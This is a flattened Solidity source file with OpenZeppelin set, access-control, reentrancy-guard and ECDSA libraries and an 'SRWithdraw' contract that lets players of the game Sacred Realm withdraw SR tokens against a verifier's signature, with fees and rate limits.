function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // File @openzeppelin/contracts/access/AccessControlEnumerable.sol@v4.5.0 // OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControlEnumerable.sol) pragma solidity ^0.8.0; /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl { using EnumerableSet for EnumerableSet.AddressSet; mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view virtual override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view virtual override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {_grantRole} to track enumerable memberships */ function _grantRole(bytes32 role, address account) internal virtual override { super._grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {_revokeRole} to track enumerable memberships */ function _revokeRole(bytes32 role, address account) internal virtual override { super._revokeRole(role, account); _roleMembers[role].remove(account); } } // File @openzeppelin/contracts/security/ReentrancyGuard.sol@v4.5.0 // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File @openzeppelin/contracts/utils/cryptography/ECDSA.sol@v4.5.0 // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); uint8 v = uint8((uint256(vs) >> 255) + 27); return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // File contracts/token/interface/ISR.sol pragma solidity >=0.8.12; /** * @title SR Interface * @author SEALEM-LAB * @notice Interface of the SR */ abstract contract ISR is IERC20 { uint256 public fee; mapping(address => bool) public isFeeExempt; } // File contracts/tool/SRWithdraw.sol pragma solidity >=0.8.12; /** * @title Sacred Realm Withdraw Contract * @author SEALEM-LAB * @notice In this contract, players can withdraw SR from the game Sacred Realm */ contract SRWithdraw is AccessControlEnumerable, ReentrancyGuard { using SafeERC20 for ISR; address public treasury; address public verifier; ISR public sr; uint256 public fee = 500; uint256 public withdrawInterval = 5 minutes; uint256 public minWithdrawAmount = 1e5 * 1e18; uint256 public maxWithdrawAmount = 1e8 * 1e18; bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE"); mapping(address => mapping(uint256 => bool)) public usedNonces; mapping(address => uint256) public nextWithdrawTime; event SetAddrs(address treasury, address verifier, address srAddr); event SetData( uint256 fee, uint256 withdrawInterval, uint256 minWithdrawAmount, uint256 maxWithdrawAmount ); event Withdraw( address indexed user, uint256 amount, uint256 nonce, bytes signature ); /** * @param manager Initialize Manager Role */ constructor(address manager) { _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(MANAGER_ROLE, manager); } /** * @dev Set Addrs */ function setAddrs( address _treasury, address _verifier, address srAddr ) external onlyRole(MANAGER_ROLE) { treasury = _treasury; verifier = _verifier; sr = ISR(srAddr); emit SetAddrs(_treasury, _verifier, srAddr); } /** * @dev Set Data */ function setData( uint256 _fee, uint256 _withdrawInterval, uint256 _minWithdrawAmount, uint256 _maxWithdrawAmount ) external onlyRole(MANAGER_ROLE) { require(_fee <= 5000, "The fee ratio cannot exceed 50%"); fee = _fee; withdrawInterval = _withdrawInterval; minWithdrawAmount = _minWithdrawAmount; maxWithdrawAmount = _maxWithdrawAmount; emit SetData( _fee, _withdrawInterval, _maxWithdrawAmount, _maxWithdrawAmount ); } /** * @dev Claim Payment */ function claimPayment( uint256 amount, uint256 nonce, bytes memory signature ) external nonReentrant { require( amount >= minWithdrawAmount, "Amount must >= min withdraw amount" ); require( amount <= maxWithdrawAmount, "Amount must <= max withdraw amount" ); require( block.timestamp >= nextWithdrawTime[msg.sender], "Withdrawals are too frequent" ); require( !usedNonces[msg.sender][nonce], "You have already withdrawn this payment" ); usedNonces[msg.sender][nonce] = true; bytes32 message = ECDSA.toEthSignedMessageHash( keccak256(abi.encodePacked(msg.sender, amount, nonce, this)) ); (address _verifier, ECDSA.RecoverError recoverError) = ECDSA.tryRecover( message, signature ); require( recoverError == ECDSA.RecoverError.NoError && _verifier == verifier, "Signature verification failed" ); uint256 feeAmount = (amount * fee) / 1e4; sr.safeTransfer(treasury, feeAmount); amount -= feeAmount; sr.safeTransfer(msg.sender, amount); nextWithdrawTime[msg.sender] = block.timestamp + withdrawInterval; emit Withdraw(msg.sender, amount, nonce, signature); } /** * @dev Check Claimable */ function checkClaimable(address user) external view returns (bool) { return block.timestamp >= nextWithdrawTime[user]; } }
Claim Payment/
function claimPayment( uint256 amount, uint256 nonce, bytes memory signature ) external nonReentrant { require( amount >= minWithdrawAmount, "Amount must >= min withdraw amount" ); require( amount <= maxWithdrawAmount, "Amount must <= max withdraw amount" ); require( block.timestamp >= nextWithdrawTime[msg.sender], "Withdrawals are too frequent" ); require( !usedNonces[msg.sender][nonce], "You have already withdrawn this payment" ); usedNonces[msg.sender][nonce] = true; bytes32 message = ECDSA.toEthSignedMessageHash( keccak256(abi.encodePacked(msg.sender, amount, nonce, this)) ); (address _verifier, ECDSA.RecoverError recoverError) = ECDSA.tryRecover( message, signature ); require( recoverError == ECDSA.RecoverError.NoError && _verifier == verifier, "Signature verification failed" ); uint256 feeAmount = (amount * fee) / 1e4; sr.safeTransfer(treasury, feeAmount); amount -= feeAmount; sr.safeTransfer(msg.sender, amount); nextWithdrawTime[msg.sender] = block.timestamp + withdrawInterval; emit Withdraw(msg.sender, amount, nonce, signature); }
2,573,721